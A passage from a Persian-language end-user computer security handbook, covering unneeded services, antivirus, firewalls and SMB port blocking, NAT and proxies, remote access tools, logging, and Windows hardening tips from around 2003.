در موارد خاص استفاده از قابلیت ارسال پیام فوری نسبت به نامهٔ الکترونیکی ارجح است. درنظر بعضی افراد استفاده از این سرویس ایمن‌تر نیز هست؛ چراکه پیامها در مکانهای دیگر دیسک کپی نمی‌شوند، درصورتیکه در پست الکترونیکی این اتفاق می‌افتد. به هرحال هنوز به کاربران هشدار داده می‌شود که ممکن است پیامهای فوری آنها ایمن نباشد. مشکل اصلی سیستمهای ارسال پیام این است که بعضی از آنها قابلیت انتقال فایل هم دارند. این موضوع آنها را مانند سایر قابلیتهای اشترک فایل – مثل ضمائم نامه‌های الکترونیکی – دچار مشکل می‌کند. برخی از سیستمهای ارسال پیام فوری اجازهٔ اجرای دستورات از راه دور را نیز می‌دهند و اینکار می‌تواند منجر به وقوع تهاجم گردد.

خدمات فعال غیرضروری

سیستم‌عاملها و برنامه‌های کاربردی بسیار قدرتمند و کاراً هستند. در بیشتر موارد کاربر عادی تمام قابلیتهای موجود در نرم‌افزارها را لازم ندارد. خدماتی که مورد نیاز نیستند باید غیرفعال شوند. متأسفانه بعضی از عرضه‌کنندگان نرم‌افزار تمامی قابلیتهای برنامه‌های خود را فعال می‌کنند و بستگی به کاربر دارد که از آنها استفاده کند یا نکند، و در غالب موارد هم کاربر از وجود این خدمات آگاه نیست. بعنوان مثال برای چندین سال متوالی بعضی از سیستمهای UNIX بگونه‌ای طراحی شده بودند که هر دستگاه مجهز به آنها بتواند بعنوان یک مرکز پست الکترونیکی غیر محدود عمل نماید (البته اگر این قابلیت توسط کاربر غیرفعال نمی‌شد). این مسئله به هرزنامه‌نویس‌ها امکان داد که از این دستگاهها برای توزیع هرزنامه‌ها استفاده کنند، بدون آنکه بسیاری از صاحبان دستگاهها از وجود چنین قابلیتی آگاهی داشته باشد.

قانون نوزدهم:

تمامی خدمات اینترنتی که مورد نیاز نیستند و از آنها کمتر استفاده می‌کنید را غیرفعال نمایید.

عرضه‌کنندگان نرم‌افزارها بطور فزاینده‌ای درحال آگاه‌شدن از مشکلات هستند. بنابراین علیرغم علاقهٔ آنها به توسعه و عرضهٔ سیستمهایی با توانمندیهای زیاد، برنامه‌های خود را با خدمات فرعی غیرفعال‌شده منتشر می‌کنند؛ و کاربر درصورت نیاز می‌تواند هریک از آنها را فعال سازد. غیرفعال بودن خدماتی که از آنها استفاده خاصی نمی‌شود اهمیت زیادی دارد. چنین خدماتی شامل اشتراک فایلها و چاپگر، سرویس‌دهنده‌های وب، سرویس‌دهنده‌های پست الکترونیکی، سرویس‌دهنده‌های *پروتکل انتقال فایل* (FTP Servers)[۱۰۴]، *سرویس‌دهنده‌های فراخوانی تابع از راه دور* (RPC Servers)[۱۰۵] و غیره می‌باشند.

104 File Transfer Protocol Servers
105 Remote Procedure Call Servers

فصل هفتم
ابزارهایی برای ارتقای امنیت

کلیات

در این فصل بسته‌های نرم‌افزاری امنیتی و روشهای افـزایش امنیت شبکه‌ها و رایانه‌ها مورد بررسی قرار می‌گیرد. منظور از بسته‌های نرم‌افزاری امنیتی همان ویروس‌یابها، دیـواره‌هـای آتش، و ابزارهای دسترسی از راه دور است.

ویروس‌یاب

قانون بیستم:

روی هر رایانهٔ آسیب‌پذیر نسبت به ویـروس بایـد نـرم‌افـزار ضـدویروس نـصب شـود و هـر روز به‌روزرسانی گردد. همچنین دستگاه باید بـصورت دوره‌ای برای یافتن ویروس جستجوی کامل شود.

قانون بیست و یکم:

در مورد رایانه‌هایی که تحت تأثیر ویروسـها قـرار نمی‌گیرنـد (ماننـد سیـستمهای مبتنـی بـر Unix) بایـد اطمینان حاصل شود که نامهٔ الکترونیکـی ارسـالی حاوی ویروس نیست تـا بـه گیرنـده نیـز آسـیبی نرسد.

قانون بیست و دوم:

سیستم‌عاملها و نرم‌افزارهای کاربردی مهم خود را به‌روزرسانی نمایید و به خاطر داشـته باشـید کـه ویروس‌یابها تنها ویروسهای مهاجم بـه فایلهـا را بررسـی مـی‌کننـد؛ درحالیکـه آسـیب‌پـذیری سیستم‌عاملها و برنامه‌های کاربردی ممکن اسـت موجب آسیب دیدن سیستم از ابعاد دیگر شوند.

ویروس‌یابها به روشهای زیر رایانهٔ شما را از ویروسها، کرمهـا و تراواهای شناخته‌شده ایمن می‌سازند:

- هر زمان که به فایلی دسترسی داشـته باشـید یـا آنـرا کپی، ذخیره، منتقل، باز یا بسته نمایید، جلـوی آسـیب رساندن ویروسها به سیستم را می‌گیرند.
- هرگاه یک دیسک خارجی وارد دستگاه خود کنید آنـرا برای یافتن ویروسهای احتمالی بررسی می‌نمایند.
- هر زمان که یک نامهٔ الکترونیکی دریافت شـود، خـود نامه و ضمائم آن برای عاری بودن از هر نوع ویـروس مورد بررسی قرار می‌گیرند.
- هرگاه فـایلی از یـک پایگـاه وب download شـود مورد بررسی قرار می‌گیرد.
- در بیشتر موارد زمانیکه یک صفحهٔ وب و نرم‌افزارهای جاسازی شده در آن به رایانهٔ شما download شـود بررسی می‌گردد.
- با اسـتفاده از ایـن برنامـه‌هـا مـی‌توانیـد یـک فایـل، مجموعه‌ای از فایلها و یا تمامی دیـسکهای موجـود را برای ویروس بررسی نمایید.
- اگر یک ویروس، کرم، یا تراوا شناسایی شود، این ابزار آنرا از بین می‌برد یا اگر نتواند اینکار را انجام دهـد بـه شما اطلاع می‌دهد که این مشکل قابل رفع نیـست؛ و درنتیجه فایل خراب را قرنطینه می‌کند و بدینوسـیله از آسیب دیدن سایر قسمتهای سیـستم فایـل جلـوگیری می‌نماید.

وجـود یـک ویـروس‌یـاب حـاوی *نـشانهای ویـروس*[۱۰۶] به‌روزرسانی شده ("نشان" مشخصهٔ خاصی از یک ویـروس اسـت کـه ویروس‌یاب توسط آن می‌تواند نوع ویروس را تشخیص دهـد)، یکـی از مهمترین قسمتهایی از یک شـبکه اسـت کـه مـی‌توانـد بـه اینترنـت متـصل باشـد. توجـه داشـته باشـید کـه بتـازگی ویروسهایی برای محیط UNIX درحال گسترش هستند، امـا کرمها و تراواها برای این محیط از قبل وجود داشته‌اند.

تا اواخر آگوست ۲۰۰۳ یکـی از ضدویروسـهای دسـتگاههای شخـــصی و Macintosh (ضـــدویروس Norton) تقریبـــاً

106 *Virus Signatures*

می‌توانست ۶۵۰۰۰ ویروس مختلف را شناسایی کند. آگوست ۲۰۰۳ از نظر انتشار نرم‌افزارهای مخرب ماه جالبی بود، چراکه بسیاری از کرمها که در آن ماه منتشر شدند از یک آسیب‌پذیری بسیار حیاتی در سیستم‌عامل Windows بهره‌برداری می‌کردند (Blaster و SoBig از رایجترین آنها بودند). یکماه پیشتر مایکروسافت برای آن وصله‌ای منتشر کرده بود، اما افراد کمی آنرا نصب کرده بودند و به همین دلیل کرمهای جدید توانستند به دستگاههای زیادی آسیب بزنند و به سرعت در آنها پخش شوند؛ بگونه‌ای که شاید در این زمینه رکوردهای جدیدی به ثبت رسیده باشد. در شلوغترین روز آن ماه، ویروس‌یاب Norton حدود ۵۰ نشان جدید ویروس را به فهرست ویروسهای قابل شناسایی خود اضافه نمود. این عدد تا یکماه بعد از آن به حدود ۵۲۰ رسید.

دیوارهٔ آتش

یک دیوارهٔ آتش تمامی فعالیتهای داخل یا خارج از شبکه را بررسی می‌کند و بر اساس مجموعه قوانین موجود در خود به *ترافیک*[۱۰۷] اجازه می‌دهد که از شبکه عبور کند یا آنرا متوقف می‌سازد. دیوارهٔ آتش می‌تواند به شکل یک برنامهٔ روی رایانه نصب شود یا قسمتی از تجهیزات میان رایانه (یا گروهی از رایانه‌ها) و ارتباط شبکه‌ایِ آن باشد. گاهی اوقات دیوارهٔ آتش در بعضی تجهیزات دیگر مانند *مسیریابها*[۱۰۸] قرار داده می‌شود. این نوع دیواره‌های آتش معمولاً رایگان و از پیش نصب‌شده هستند و در بسیاری از سیستم‌عاملها وجود دارند.

قانون بیست و سوم:

تمامی رایانه‌ها باید توسط یک دیوارهٔ آتش محافظت شوند که می‌توان آنرا بصورت نرم‌افزار در هر رایانه نصب نمود یا بصورت یک دیوارهٔ آتش سخت‌افزاری برای تمامی شبکهٔ محلی قرار داد.

با درک این موضوع که دیوارهٔ آتش چه کاری انجام می‌دهد و چگونه می‌توان قوانینی برای کنترل آن تنظیم نمود باید مفهوم پروتکل TCP/IP – مجموعه قوانینی که تمامی پیامهای ارسالی از طریق اینترنت را کنترل می‌کند – را نیز دریابید. اگر با پروتکل TCP/IP آشنا هستید می‌توانید به فصل بعدی مراجعه کنید اما اگر آنرا نمی‌شناسید ابتدا ضمیمهٔ ۲ همین بخش را مطالعه نمایید. توجه داشته باشید حتی درصورتیکه نخواهید این جزئیات را بیاموزید همچنان می‌توانید از دیوارهٔ آتش استفاده کنید. در ادامه تمامی آنچه که لازم است بصورت خلاصه در مورد TCP/IP بدانید ذکر می‌شود:

- دستگاههایی که به اینترنت متصل هستند دارای یک آدرس IP به شکل 12.222.103.43 می‌باشند که همانگونه که می‌بینید متشکل از چهار عدد مجزا است. اینترنت برای پیدا کردن مسیر پیام از این آدرس استفاده می‌کند و هر رایانه با ارائه آدرس مقصد در چنین قالبی مشخص می‌کند که این پیامها باید به کجا ارسال شوند.
- در هر دستگاه برنامه‌های مختلف بوسیله *شمارهٔ پورت*[۱۰۹] شناسایی می‌شوند (مانند شماره تلفنهای داخلی تلفن در شرکتهای بزرگ – تنها یک شماره تلفن عمومی وجود دارد، اما هر اتاق شمارهٔ داخلی مربوط به خود را دارد).
- اطلاعاتی که به رایانه یا از آن فرستاده می‌شوند، *بسته*[۱۱۰] نام دارند.
- از کلمات TCP و UDP در بحث زیر چشم‌پوشی کنید و چندان نگران از دست دادن جزئیات نباشید.

چرا به دیوارهٔ آتش نیاز داریم؟

اگر رایانهٔ شما به شبکهٔ محلی یا اینترنت متصل نیست نیازی به دیوارهٔ آتش ندارید. همینکه به شبکه متصل شوید این احتمال پدید می‌آید که مهاجمین رایانهٔ شما را مورد سوء استفاده قرار دهند. بعنوان مثال:

- اگر از اشتراک فایل، اشتراک چاپگر یا سایر خدمات رایانه‌ای استفاده می‌کنید، رایانهٔ شما روی پورتهای مشخصی به انتظار می‌ایستد (در اصطلاح گفته می‌شود که رایانه آن پورت را "می‌شنود"). اگرچه با انجام اینکار می‌توانید منابع خود را با رایانهٔ دیگری به‌اشتراک

۱۰۷ منظور اطلاعات تبادل شده روی شبکه است
108 Router

109 Port Number
110 Packet

بگذارید، اما ممکن است رایانهٔ دیگری در هر نقطهٔ دنیا نیز بتواند اطلاعات شما را مشاهده نماید.

- اگر بتوانید روی پورتهای اشتراک فایل به انتظار بایستید، ممکن است به دلیل وجود اشکالات، شخصی بتواند برایتان پیام ماهرانه‌ای بفرستد و از آن طریق اعمال مخربی روی رایانهٔ شما انجام دهد. متأسفانه درحال حاضر این نوع حمله بسیار رایج شده است.
- حتی اگر نتوانید روی هیچ پورتی منتظر پیام بمانید رایانه‌های دیگر همچنان می‌توانند پیامهای زیادی برای شما ارسال نمایند. اگرچه می‌توان از تمامی آنها صرفنظر کرد اما پیامها می‌توانند ارتباطات شبکه‌ای شما را مسدود کنند و باعث شوند نتوانید کارهای خود را انجام دهید (در این مورد فقط دیواره‌های آتش سخت‌افزاری می‌توانند به شما کمک نمایند).
- اگر علیرغم تلاشهای بسیار، توسط ویروس، کرم یا تراوا آلوده شدید، ممکن است تمام اطلاعات موجود در رایانه برای نویسندهٔ نرم‌افزار مخرب ارسال شود. این مورد شامل داده‌ها و تمامی آنچه که در رایانهٔ قربانی ثبت شده (از جمله رمزهای عبور) می‌شود.

دیواره‌های آتش چگونه کار می‌کنند؟

دیوارهٔ آتش تمامی بسته‌هایی که به رایانهٔ شما ارسال می‌شود را نظارت و بررسی می‌کند که آیا با قوانین درنظر گرفته شده مغایرت دارد یا خیر. اگر چنین بود راه عبور بسته‌ها مسدود می‌شود. در دیواره‌های آتش نرم‌افزاری و سخت‌افزاری بهتر است قوانین زیر پیاده شوند:

- اجازه ندهید هیچ بسته‌ای از پورتهای 135، 137، 139، و TCP/UDP 445 عبور کند. این پورتها برای سرویس اشتراک فایل و انواع دیگری از خدمات Windows مورد استفاده قرار می‌گیرند. با متوقف ساختن این بسته‌ها اطمینان خواهید یافت که هیچکس از طریق اینترنت نمی‌تواند برای استفاده از این خدمات با رایانهٔ شما ارتباط برقرار کند.
- اجازه ندهید هیچ بسته‌ای از پورتهای 135، 137، 139، و TCP/UDP 445 عبور کند، مگر آنکه آدرس IP مبدأ آن مربوط به یکی از رایانه‌هایی باشد که شما مایلید از خدمات آن استفاده کنید.
- می‌توانید فهرستی از رایانه‌های مورد اطمینانی که به شبکه آسیب نمی‌رسانند را برای دیوارهٔ آتش تعریف کنید تا تنها رایانه‌های مطمئن بتوانند با شما ارتباط برقرار کنند. با انجام اینکار همچنان می‌توانید با سایر رایانه‌ها مانند سرویس‌دهنده‌های وب در اینترنت نیز ارتباط برقرار کنید، اما برای اینکار شما باید آغاز کنندهٔ آن ارتباط باشید.

دیواره‌های آتش نرم‌افزاری منابع موجود در رایانه را بکار می‌گیرند، اما با این مزیت که تنها محتوای اطلاعات (همراه با آدرسها و پورتهای فرستنده یا گیرندهٔ آن) را بررسی نمی‌کنند؛ بلکه می‌توانند بررسی کنند که چه برنامه‌ای پیام را ارسال نموده است. اگر یک برنامهٔ غیرمجاز با رایانهٔ شما ارتباط برقرار کرده باشد، دیوارهٔ آتش قبل از عبور دادن آن می‌تواند از شما کسب اجازه کند. دیوارهٔ آتش سخت‌افزاری نمی‌تواند تشخیص دهد که از کدام برنامه برای ارسال پیام استفاده شده؛ اما از آنجا که یک قسمت از تجهیزات سخت‌افزاری است، سرعت رایانه را پایین نمی‌آورد.

اگر دارای یک دیوارهٔ آتش سخت‌افزاری یا نرم‌افزاری هستید مشابه تمامی تجهیزات امنیتی دیگر باید همیشه آنرا به‌روزرسانی کنید. خرابکاران بسیار خلاق هستند و لذا به‌روز بودن ابزارهایی که برای حفاظت از سیستم خود بکار می‌برید از اهمیت زیادی برخوردار است.

فضاهای آدرس خصوصی[111]

طراحی اینترنت از ابتدا بدینصورت بود که هر رایانه یا دستگاه موجود در آن آدرس مخصوص به خود را داشت و لذا هر رایانه می‌توانست با رایانهٔ دیگر ارتباط برقرار کند. امروزه به دلایل زیادی برقراری ارتباط جهانی در این سطح چندان مطلوب نیست. دو دلیل عمده برای این مسئله وجود دارد:

- گاهی اوقات می‌خواهید مجموعه‌ای از رایانه‌ها را بصورت مجزا از بقیه نگهداری کنید تا نتوانند بطور مستقیم با سایر رایانه‌ها در اینترنت ارتباط داشته

111 *Private Address Spaces*

باشند. این مسئله‌ای است که در مورد رایانه‌های برخی از سازمانهای عمومی و خصوصی وجود دارد.

- از آنجا که آدرسهای IP در محیط اینترنت اختصاص داده می‌شوند ممکن است سازمان شما به تعداد کافی آدرس IP نداشته باشد که بخواهد به همهٔ ماشینها اختصاص دهد. این مسئله اغلب در کشورهای درحال توسعه وجود دارد که در آنها اینترنت ملی چند سال بعد از ایجاد شبکه‌های ارتباطی کشورهای توسعه‌یافته بوجود آمد.

آدرسهای IP مشخصی وجود دارند که در اینترنت مورد استفاده قرار نمی‌گیرند. این آدرسها "فضاهای آدرس خصوصی" نامیده می‌شوند و می‌توانند در دو مورد ذکر شده بکار روند. از آنجا که رایانه‌هایی که از فضاهای آدرس خصوصی استفاده می‌کنند بصورت مستقیم با اینترنت ارتباط برقرار نمی‌کنند به آدرسهای منحصر به فرد نیاز ندارند. اگرچه سازمانهای مختلفی ممکن است از مجموعه آدرسهای مشابهی استفاده کنند، اما هیچیک از آنها نمی‌توانند سایرین را ببینند و لذا این آدرسهای مشابه هیچ مشکلی پدید نمی‌آورند.

دو روش وجود دارد که با استفاده از آنها یک رایانه که آدرس خصوصی دارد می‌تواند با اینترنت ارتباط برقرار کند:

سرویس‌دهنده‌های Proxy[۱۱۲]

سرویس‌دهندهٔ proxy نوع خاصی از دیوارهٔ آتش است. این سرویس‌دهنده دارای یک آدرس در فضای آدرس خصوصی است اما همچنین یک ارتباط و آدرس ثانویه نیز برای اتصال به اینترنت دارد. اگر کاربری بخواهد از یک دستگاه با آدرسی در فضای خصوصی به اینترنت متصل شود، پیام خود را به سرویس‌دهندهٔ proxy ارسال می‌کند و از آن می‌خواهد که پیام را به مقصد مورد نظر در اینترنت برساند. این سرویس‌دهنده درخواست را بعد از فرستادن روی اینترنت نگهداری می‌کند و زمانیکه پاسخ آن بازگشت آنرا به دستگاه درخواست‌کننده بازپس می‌فرستد.

سرویس‌دهنده‌های proxy همچنین می‌توانند برای آدرسهای IP عادی مورد استفاده قرار گیرند. آنها برای کنترل نوع ترافیک عبوری اینترنت یا تسهیل ارتباطات کاربر و شبکه بکار می‌روند. یک سرویس‌دهندهٔ proxy وب یک نسخه از صفحات درخواست‌شده را نگهداری می‌کند و درصورتیکه کاربر دیگری همان صفحه را درخواست کند نسخه‌های نگهداری شده را برای وی ارسال می‌نماید؛ و با اینکار پهنای باند مورد نیاز اینترنت کاهش می‌یابد. این مکانیزم caching نامیده می‌شود.

NAT[۱۱۳]

NAT جایگاهی بین شبکهٔ محلی و اینترنت دارد و مشابه سرویس‌دهندهٔ proxy با اینترنت و شبکهٔ محلی که آدرسهای IP خصوصی در آن بکار می‌رود مرتبط می‌باشد. زمانیکه یک پیام با استفاده از NAT از شبکهٔ محلی به اینترنت ارسال می‌شود، NAT آنرا با استفاده از آدرس IP خود ارسال می‌کند و اینطور وانمود می‌کند که پیام از پورتی فرستاده شده که درحال استفاده نیست، و هنگامیکه پاسخ پیام دریافت می‌شود، به رایانهٔ اصلی در شبکهٔ محلی باز می‌گردد. NAT شبیه سرویس‌دهندهٔ proxy عمل می‌کند، اما برای همهٔ انواع ترافیک (و نه فقط ترافیک web) بکار می‌رود و از مکانیزم caching نیز استفاده نمی‌نماید.

سرویس‌دهنده‌های proxy و NAT هر دو مثل دیواره‌های آتش هستند و از دستگاههایی که در فضاهای آدرس خصوصی قرار دارند در برابر انواع حملات بیرونی محافظت می‌کنند.

ابزارهای دسترسی، مدیریت، و راهبری از راه دور

ابزارهای دسترسی از راه دور[۱۱۴]، *ابزارهای مدیریت از راه دور*[۱۱۵] و *ابزارهای راهبری از راه دور*[۱۱۶] این امکان را فراهم می‌کنند که رایانهٔ خود را از راه دور و از طریق خط تلفن یا

112 *Proxy Servers*

113 *Network Address Translation*
114 *Remote Access Tools*
115 *Remote Management Tools*
116 *Remote Administration Tools*

اینترنت کنترل نمایید. هنگامیکه با این روش به رایانهٔ خود متصل می‌شوید مثل این است که پشت صفحه‌کلید دستگاه خود نشسته‌اید.

قانون بیست و چهارم:

اگر از امکانات دسترسی از راه دور برای کنترل رایانه‌ها استفاده می‌کنید مطمئن شوید که از ایمنی لازم (نامهای کاربری و رمزهای عبور مناسب) برخوردارند، تا مهاجمین نتوانند از این ابزارها علیه شما استفاده کنند.

ابزارهای دسترسی از راه دور کاربردهای مهم بسیاری دارند. از میان آنها می‌توان به موارد زیر اشاره کرد:

- زمانیکه به رایانهٔ ادارهٔ خود دسترسی فیزیکی ندارید این امکان را فراهم می‌کنند که از آن استفاده نمایید. با اینکار می‌توانید به داده‌ها، برنامه‌های کاربردی و خدمات شبکه‌ای محل کارتان دسترسی داشته باشید.
- اجازه می‌دهند رایانهٔ خود را برای معاینه به یک متخصص نشان دهید؛ بدون آنکه وی را به محل کار خود ببرید.
- افراد زیادی خواهند توانست از برنامه‌های کاربردی که تنها بر روی یک دستگاه نصب شده استفاده کنند.
- مسئولین پشتیبانی سیستمها با استفاده از آنها می‌توانند چندین سرویس‌دهنده را به آسانی مدیریت نمایند.

ابزارهای دسترسی از راه دور این امکان را برای مهاجمین نیز فراهم می‌کنند که بتوانند تمامی موارد ذکر شده را انجام دهند. در حقیقت میان ابزارهای دسترسی از راه دور در کاربردهای مذکور (مانند pcAnywhere) و دربهای مخفی تراواها (مثل Back Orifice یا NetBus) تفاوت عملکرد چندانی وجود ندارد.

آشکارگرهای بدافزارها

فرض کنیم شما نرم‌افزار خود را به‌روزرسانی می‌کنید، ویروس و فایلهای دریافتی را مورد بررسی قرار می‌دهید، از نامهای کاربری و رمزهای عبور مستحکم استفاده می‌نمایید و یک دیوارهٔ آتش مناسب را نیز برای محافظت از سیستم خود بکار می‌برید.

حال اگر سؤال شود با تمام این کارها آیا کاملاً ایمن هستید؛ باز هم پاسخِ مثبت از اطمینان صد درصدی برخوردار نیست. همیشه این احتمال وجود دارد که قبل از ارائه راه‌حل برای یک اشکال، شما از همان اشکال آسیب ببینید. همچنین ممکن است هر از چندگاه کاری انجام دهید که نتوان آنرا کاملاً ایمن دانست.

"آشکارگرهای بدافزارها" برنامه‌هایی هستند که برای یافتن برنامه‌های مشکوک – صرفنظر از چگونگی نصب آنها – رایانهٔ شما را مورد بررسی قرار می‌دهند. بعضی مواقع عملکرد آنها با جستجوگرهای ویروس تداخل دارد، زیرا هر دوی آنها نرم‌افزارهای مخرب موجود در دیسک را شناسایی نموده، بررسی می‌کنند که برنامه‌های کلیدی سیستم بصورت مخفیانه تغییر نکرده باشند.

این آشکارگرها plug-inها و add-onهای مرورگرها را بررسی می‌کنند و هرآنچه که به سیستم شما آسیب می‌رساند و یا برخلاف قوانین محرمانگی است را شناسایی می‌نمایند. برخی از این نرم‌افزارها دارای ابزارهایی برای از بین بردن بدافزارهای شناسایی‌شده نیز هستند.

ثبت رخدادها

فایلهای ثبت رخدادها ابزار مناسبی هستند که امنیت رایانهٔ شما را تضمین می‌کنند اما معمولاً زیاد مورد توجه قرار نمی‌گیرند. فایلهای ثبت روی دیسک قرار دارند و برنامه‌ها می‌توانند در آن پیام بنویسند. معمولاً پیام هنگامی نوشته می‌شود که یک اتفاق رخ می‌دهد یا اشکالی بوجود می‌آید.

قانون بیست و پنجم:

قابلیت ثبت رخدادهای توابع سیستم و برنامه‌های کاربردی باید بصورت صحیح فعال باشند.

نمونه‌هایی از وقایعی که می‌توانند ثبت شوند عبارتند از:

- رایانه روشن شد؛
- شخصی وارد سیستم شد؛

- شخصی سعی داشت وارد سیستم شود اما رمز عبور وی اشتباه بود؛
- یک نامهٔ الکترونیکی دریافت شد؛
- یک نامهٔ الکترونیکی می‌خواست فرستاده شود اما ارتباط قطع شد؛
- خطاهای زیادی روی دیسک (یا ارتباط شبکه‌ای) پیش آمد؛
- دیوارهٔ آتش یک ارتباط غیرمجاز را شناسایی و آنرا مسدود کرد؛
- جستجوگر ویروس بطور خودکار مجموعهٔ جدیدی از نشانهای ویروس را download نمود؛
- یک ویروس‌یاب تمامی فایلهای موجود در سیستم را بررسی و یک ویروس را شناسایی کرد.

بسته به برنامه و سیستمی که برنامه روی آن اجرا می‌شود، ممکن است فایلهای ثبت بعد از زیاد شدن حجمشان پاک شوند، یا اینکه هر چند وقت یکبار فایل ثبت جدیدی ایجاد گردد و فایلهای قدیمی‌تر برای بررسیهای بعدی همچنان حفظ شوند (عمدتاً در قسمتی از نام فایلهای ثبت یک تاریخ وجود دارد).

بطور کلی برای هر سیستم و نرم‌افزار کاربردی یک فایل ثبت مجزا وجود دارد. گاهی اوقات می‌توانید این فایل را با یک ویرایشگر متن بخوانید و گاهی نیز برای خواندن و قالب‌بندی فایلها به ابزارهای خاصی نیاز خواهید داشت.

ثبتها بسیار مفید هستند و بطور کلی باید فعال باشند. در عین حال باید مراقب باشید که آنها را برای فعالیتهای روزمره و عادی فعال نکنید؛ زیرا سیستم باید وقت زیادی برای انجام ثبت و بررسی آنها صرف کند و حجمی از دیسک نیز توسط آنها اشغال می‌گردد.

اگر بدانید که اقلام مشروح فایلهای ثبت چه چیزهایی را نشان می‌دهند باید آنها را بطور دوره‌ای مرور کنید تا ببینید آیا اتفاق غیرعادی رخ داده یا خیر. در غیر اینصورت ثبتها باید بگونه‌ای نگهداری شوند که درصورت وقوع اتفاقات غیرطبیعی بتوانند راهنماییهایی برای کشف دقیقتر آنچه که رخ داده باشند.

فصل هشتم
نکات ویژهٔ بسترهای مختلف

رایانه‌های شخصی مبتنی بر Windows

نقاط قوت و نقاط ضعف

سیستم‌عامل Windows پردازندهٔ Intel x86 (یا معادلهای آن) رایجترین سیستم رایانه‌ای است که تاکنون طراحی شده است. قابلیتهای این سیستم‌عامل و نرم‌افزارهای کاربردی آن از دیدگاه یک کاربر بسیار جذاب هستند و تعداد زیادی نرم‌افزار تجاری، نرم‌افزار shareware و نرم‌افزار رایگان برای آن موجود است. اگرچه مشابه هر سیستم دیگر در اینجا هم افراد متخصص به سختی پیدا می‌شوند، اما متخصصین زیادی با سطح دانش قابل قبول برای کار با این سیستمها وجود دارند. همچنین رقبای زیادی در بعد سخت‌افزار با هم رقابت می‌کنند که این خود باعث تنوع محصولات و قیمتهای نسبتاً پایین آنها شده است.

Windows از نظر امنیتی وضعیت چندان جالبی ندارد. *هستهٔ سیستم‌عامل*[117] با ملاحظهٔ مسائل امنیتی ارتباطات شبکه‌ای طراحی نشده بود و هرچند در نسخه‌های جدیدتر آن (Windows 2000 و Windows XP و...) به بسیاری از این موارد پرداخته شده، اما هنوز ایمنی لازم وجود ندارد و تغییرات اخیر به کاربرانی که از سیستمهای قدیمی‌تر استفاده می‌کردند کمک اندکی نموده است. تا همین اواخر مایکروسافت توجه زیادی به مقولهٔ امنیت نداشت. البته درحال حاضر این شرایط تغییر کرده‌اند، بویژه آنکه این شرکت توجه خود را به اشکالات موجود در نرم‌افزارهای چندرسانه‌ای و دیگر آسیب‌پذیریهای سیستم‌عاملهای خود معطوف داشته است.

عملکرد توسعه‌یافتهٔ سیستمها و نرم‌افزارها معمولاً باعث بالا رفتن هزینهٔ ایمن‌سازی آنها می‌شود. در بسیاری موارد بمنظور آسان کردن استفادهٔ کاربران تازه‌کار از ابزار، سیستمها دارای چندین زیرسیستم و قابلیتهای بسیار زیادی شده‌اند که آنها را آسیب‌پذیر کرده است. به دلیل کثرت آسیب‌پذیریها و نیز تعدد رایانه‌های مورد استفاده، دهها هزار رایانهٔ شخصی مبتنی بر Windows به اهداف اصلی برنامه‌نویسانی که بدافزارهایی مثل ویروس، کرم و تروا منتشر می‌کردند تبدیل شدند. واسطهای گرافیکی کاربر در Windows بسیار کاربرپسند هستند و هم‌اکنون میلیونها نفر با دانش فنی اندک توانایی استفاده از آنها را دارند. این روش مبتنی بر کاربر وقتی در کنار آسیب‌پذیریهای مذکور قرار می‌گیرد سیستمهای مبتنی بر Windows را مستعد بروز مشکلات امنیتی می‌کند.

چگونه از خود محافظت کنیم

تمامی مطالب این کتاب برای سیستمهای Windows قابل اعمال است و کاربرانی که نگران مسائل امنیتی هستند باید تمام توصیه‌های ارائه‌شده را جدی بگیرند.

انتشار نرم‌افزار

اگر پهنای باند کافی دارید، برای به‌روز نگه‌داشتن سیستم‌عامل خود با آخرین نسخهٔ ServicePackها از پایگاه به‌روزرسانی مایکروسافت[118] استفاده کنید. در غیراینصورت وصله‌های امنیتی منتشرشده برای به‌روزرسانی Windows را بکار بگیرید (این وصله‌ها نسبت به Service Packها پهنای باند کمتری اشغال می‌کنند). اگر به‌روزرسانی از طریق پایگاه به‌روزرسانی مایکروسافت برایتان امکانپذیر نیست می‌توانید بسته‌های به‌روزرسانی را از مرکز download مایکروسافت[119] دریافت کنید.

شاید ISP شما یا سایر فراهم‌آورندگان خدمات بتوانند به‌روزرسانی‌های منتشرشده را download و روی دیسک فشرده توزیع کنند. اگرچه منابع قابل‌توجهی برای اینکار مورد نیاز است، اما یک ابزار برای مدیریت به‌روزرسانی Windows در قالب خدماتی به نام Software Update Services برای سیستم‌عامل Windows 2000 در پایگاه زیر قابل دسترسی است:

117 O.S. Kernel

118 http://windowsupdate.microsoft.com
119 http://www.microsoft.com/downloads

http://www.microsoft.com/windows2000/windowsupdate/sus/

حسابهای کاربری

در سیستمهای Windows NT، Windows 2000 و Windows XP که از قابلیت *چند کاربری*[۱۲۰] پشتیبانی می‌کنند باید اطمینان حاصل کنید که هیچ حساب کاربری غیر ضروری در آنها ایجاد نشده است. علاوه بر آن مطمئن شوید که تمامی کاربران یک رمز عبور مناسب – بر اساس آنچه که در فصل سوم همین بخش توضیح داده شد – برای خود برگزیده‌اند. به کاربران باید تنها امتیازاتی که مورد نیاز آنها است داده شود. بعنوان مثال حتی اگر تنها یک دستگاه توسط کاربر اصلی خود راهبری شود، این کاربر برای کارهای روزمره و معمولی خود نباید از امتیازات راهبری استفاده کند.

اشتراک فایل

اگر از قابلیتهای اشتراک فایل یا اشتراک خدمات چاپ استفاده نمی‌کنید مطمئن شوید که غیرفعال شده‌اند. مراحل انجام اینکار در Windows Help و پایگاه اطلاع‌رسانی پشتیبانی مایکروسافت قابل دسترس می‌باشد. برای اینکار عبارت زیر را جستجو کنید: "disable file sharing xx" که در آن xx نسخهٔ سیستم‌عامل شما می‌باشد؛ مثلاً XP یا 2000. اگر از اشتراک فایل استفاده می‌کنید مطمئن شوید که هیچ امتیاز غیرضروری در آن فعال نیست.

سیستم فایل[۱۲۱]

سیستمهای فایل FAT و FAT32 که در Windows مورد استفاده قرار می‌گیرند بطور کامل ایمن نیستند؛ بخصوص اگر از اشتراک فایل استفاده کنید. چنانچه دسترسی به فایلها از طریق شبکه انجام می‌شود، درصورت امکان باید از سیستم فایل NTFS استفاده گردد. توجه داشته باشید در مواردی که دستگاه رایانه شما می‌تواند با بیش از یک سیستم‌عامل راه‌اندازی شود یا در شرایطی که لازم است به دیسک سخت یک سیستم‌عامل دیگر دسترسی داشته باشید نمی‌توانید از NTFS استفاده نمایید.

خدمات سیستمی[۱۲۲]

در برخی از سیستمها تمامی قابلیتهای شبکه فعال هستند تا ارتباط میان رایانه‌ها بتواند به آسانی برقرار شود. اگر در شرکت خود شبکه ندارید خدماتی که کاربرد ندارند را غیرفعال نمایید.

دیوارهٔ آتش

